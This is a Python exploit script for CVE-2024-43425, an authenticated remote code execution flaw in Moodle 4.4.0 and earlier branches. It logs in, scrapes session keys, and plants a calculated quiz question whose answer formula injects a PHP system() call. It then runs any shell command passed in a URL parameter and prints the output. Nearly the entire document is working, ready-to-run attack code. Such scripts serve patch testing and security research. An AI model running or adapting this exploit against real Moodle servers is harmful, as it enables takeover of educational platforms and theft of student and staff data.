# Exploit Title: Moodle 4.4.0 - Authenticated Remote Code Execution
# Exploit Author: Likhith Appalaneni
# Vendor Homepage: https://moodle.org
# Software Link: https://github.com/moodle/moodle/releases/tag/v4.4.0
# Tested Version: Moodle 4.4.0
# Affected versions: 4.4 to 4.4.1, 4.3 to 4.3.5, 4.2 to 4.2.8, 4.1 to 4.1.11
# Tested On: Ubuntu 22.04, Apache2, PHP 8.2
# CVE: CVE-2024-43425
# References:
# - https://github.com/aninfosec/CVE-2024-43425-Poc
# - https://nvd.nist.gov/vuln/detail/CVE-2024-43425
import argparse
import requests
import re
import sys
import subprocess
from bs4 import BeautifulSoup
import urllib.parse
requests.packages.urllib3.disable_warnings()
def get_login_token(session, login_url):
print("[*] Step 1: GET /login/index.php to extract login token")
try:
response = session.get(login_url, verify=False)
if response.status_code != 200:
print(f"[-] Unexpected status code {response.status_code} when accessing login page")
sys.exit(1)
except Exception as e:
print(f"[-] Error connecting to {login_url}: {e}")
sys.exit(1)
soup = BeautifulSoup(response.text, "html.parser")
token_input = soup.find("input", {"name": "logintoken"})
if not token_input or not token_input.get("value"):
print("[-] Failed to extract login token from HTML")
sys.exit(1)
token = token_input["value"]
print(f"[+] Found login token: {token}")
return token
def perform_login(session, login_url, username, password, token):
print("[*] Step 2: POST /login/index.php with credentials")
login_payload = {
"anchor": "",
"logintoken": token,
"username": username,
"password": password,
}
try:
response = session.post(
login_url,
data=login_payload,
headers={"Content-Type": "application/x-www-form-urlencoded"},
verify=False,
)
if response.status_code not in [200, 303]:
print(f"[-] Unexpected response code during login: {response.status_code}")
sys.exit(1)
except Exception as e:
print(f"[-] Login POST failed: {e}")
sys.exit(1)
if "MoodleSession" not in session.cookies.get_dict():
print("[-] Login may have failed: MoodleSession cookie missing")
sys.exit(1)
print("[+] Logged in successfully.")
def get_quiz_info(session, base_url, cmid):
print("[*] Extracting sesskey, courseContextId, and category from quiz edit page...")
quiz_edit_url = f"{base_url}/mod/quiz/edit.php?cmid={cmid}"
try:
resp = session.get(quiz_edit_url, verify=False)
if resp.status_code != 200:
print(f"[-] Failed to load quiz edit page. Status: {resp.status_code}")
sys.exit(1)
# Extract sesskey
sesskey_match = re.search(r'"sesskey":"([a-zA-Z0-9]+)"', resp.text)
# Extract courseContextId
ctxid_match = re.search(r'"courseContextId":(\d+)', resp.text)
# Extract category
category_match = re.search(r';category=(\d+)', resp.text)
if not (sesskey_match and ctxid_match and category_match):
print("[-] Could not extract sesskey, courseContextId, or category")
print(resp.text[:1000])
sys.exit(1)
sesskey = sesskey_match.group(1)
ctxid = ctxid_match.group(1)
category = category_match.group(1)
print(f"[+] Found sesskey: {sesskey}")
print(f"[+] Found courseContextId: {ctxid}")
print(f"[+] Found category: {category}")
return sesskey, ctxid, category
except Exception as e:
print(f"[-] Exception while extracting quiz info: {e}")
sys.exit(1)
def upload_calculated_question(session, base_url, sesskey, cmid, courseid, category, ctxid):
print("[*] Step 3: Uploading calculated question with payload...")
url = f"{base_url}/question/bank/editquestion/question.php"
payload = "(1)->{system($_GET[chr(97)])}"
post_data = {
"initialcategory": 1,
"reload": 1,
"shuffleanswers": 1,
"answernumbering": "abc",
"mform_isexpanded_id_answerhdr": 1,
"noanswers": 1,
"nounits": 1,
"numhints": 2,
"synchronize": "",
"wizard": "datasetdefinitions",
"id": "",
"inpopup": 0,
"cmid": cmid,
"courseid": courseid,
"returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0",
"mdlscrollto": 0,
"appendqnumstring": "addquestion",
"qtype": "calculated",
"makecopy": 0,
"sesskey": sesskey,
"_qf__qtype_calculated_edit_form": 1,
"mform_isexpanded_id_generalheader": 1,
"category": f"{category},{ctxid}",
"name": "exploit",
"questiontext[text]": "<p>test</p>",
"questiontext[format]": 1,
"questiontext[itemid]": 623548580,
"status": "ready",
"defaultmark": 1,
"generalfeedback[text]": "",
"generalfeedback[format]": 1,
"generalfeedback[itemid]": 21978947,
"answer[0]": payload,
"fraction[0]": 1.0,
"tolerance[0]": 0.01,
"tolerancetype[0]": 1,
"correctanswerlength[0]": 2,
"correctanswerformat[0]": 1,
"feedback[0][text]": "",
"feedback[0][format]": 1,
"feedback[0][itemid]": 281384971,
"unitrole": 3,
"penalty": 0.3333333,
"hint[0][text]": "",
"hint[0][format]": 1,
"hint[0][itemid]": 812786292,
"hint[1][text]": "",
"hint[1][format]": 1,
"hint[1][itemid]": 795720000,
"tags": "_qf__force_multiselect_submission",
"submitbutton": "Save changes"
}
try:
res = session.post(url, data=post_data, verify=False, allow_redirects=False)
if res.status_code in [302, 303] and "Location" in res.headers and "&id=" in res.headers["Location"]:
print("[+] Question upload request sent. Extracting question ID from redirect.")
qid = re.search(r"&id=(\d+)", res.headers["Location"])
if not qid:
print("[-] Could not extract question ID from redirect.")
sys.exit(1)
return qid.group(1)
else:
print(f"[-] Upload failed. Status code: {res.status_code}")
sys.exit(1)
except Exception as e:
print(f"[-] Upload exception: {e}")
sys.exit(1)
def post_dataset_wizard(session, base_url, question_id, sesskey, cmid, courseid, category, ctxid):
print("[*] Step 4: Completing dataset wizard with dataset[0]=0")
wizard_url = f"{base_url}/question/bank/editquestion/question.php?wizardnow=datasetdefinitions"
data_payload = {
"id": question_id,
"inpopup": 0,
"cmid": cmid,
"courseid": courseid,
"returnurl": f"/mod/quiz/edit.php?cmid={cmid}&addonpage=0",
"mdlscrollto": 0,
"appendqnumstring": "addquestion",
"category": f"{category},{ctxid}",
"wizard": "datasetitems",
"sesskey": sesskey,
"_qf__question_dataset_dependent_definitions_form": 1,
"dataset[0]": 0,
"synchronize": 0,
"submitbutton": "Next page"
}
try:
res = session.post(wizard_url, data=data_payload, verify=False)
if res.status_code == 200:
print("[+] Dataset wizard POST submitted.")
return False
elif "Exception - system(): Argument #1 ($command) cannot be empty" in res.text:
print("[+] Reached expected error page. Payload is being interpreted.")
return True
else:
print(f"[-] Dataset wizard POST failed with status: {res.status_code}")
return False
except Exception as e:
print(f"[-] Exception during dataset wizard step: {e}")
return False
def trigger_rce(session, base_url, question_id, category, cmid, courseid, cmd):
print("[*] Step 5: Triggering command: {cmd}")
encoded = urllib.parse.quote(cmd)
trigger_url = (
f"{base_url}/question/bank/editquestion/question.php?id={question_id}"
f"&category={category}&cmid={cmid}&courseid={courseid}"
f"&wizardnow=datasetitems&returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D{cmid}%26addonpage%3D0"
f"&appendqnumstring=addquestion&mdlscrollto=0&a={encoded}"
)
try:
resp = session.get(trigger_url, verify=False)
print("[+] Trigger request sent. Output below:\n")
lines = resp.text.splitlines()
output_lines = []
for line in lines:
if "<html" in line.lower():
break
if line.strip():
output_lines.append(line.strip())
print("[+] Command output (top lines):")
print("\n".join(output_lines[:2]) if output_lines else "[!] No output detected.")
except Exception as e:
print(f"[-] Error triggering command: {e}")
sys.exit(1)
def main():
parser = argparse.ArgumentParser(description="Moodle CVE-2024-43425 Exploit")
parser.add_argument("--url", required=True, help="Target Moodle base URL")
parser.add_argument("--username", required=True, help="Moodle username")
parser.add_argument("--password", required=True, help="Moodle password")
parser.add_argument("--courseid", required=True, help="Course ID")
parser.add_argument("--cmid", required=True, help="Course Module ID (Quiz)")
parser.add_argument("--cmd", required=True, help="Command to execute remotely (e.g., 'whoami' or 'cat /flag')")
args = parser.parse_args()
session = requests.Session()
login_url = f"{args.url.rstrip('/')}/login/index.php"
token = get_login_token(session, login_url)
perform_login(session, login_url, args.username, args.password, token)
sesskey, ctxid, category = get_quiz_info(session, args.url.rstrip('/'), args.cmid)
question_id = upload_calculated_question(session, args.url.rstrip('/'), sesskey, args.cmid, args.courseid, category, ctxid)
if not post_dataset_wizard(session, args.url.rstrip('/'), question_id, sesskey, args.cmid, args.courseid, category, ctxid):
sys.exit(1)
trigger_rce(session, args.url.rstrip('/'), question_id, category, args.cmid, args.courseid, args.cmd)
if __name__ == "__main__":
main()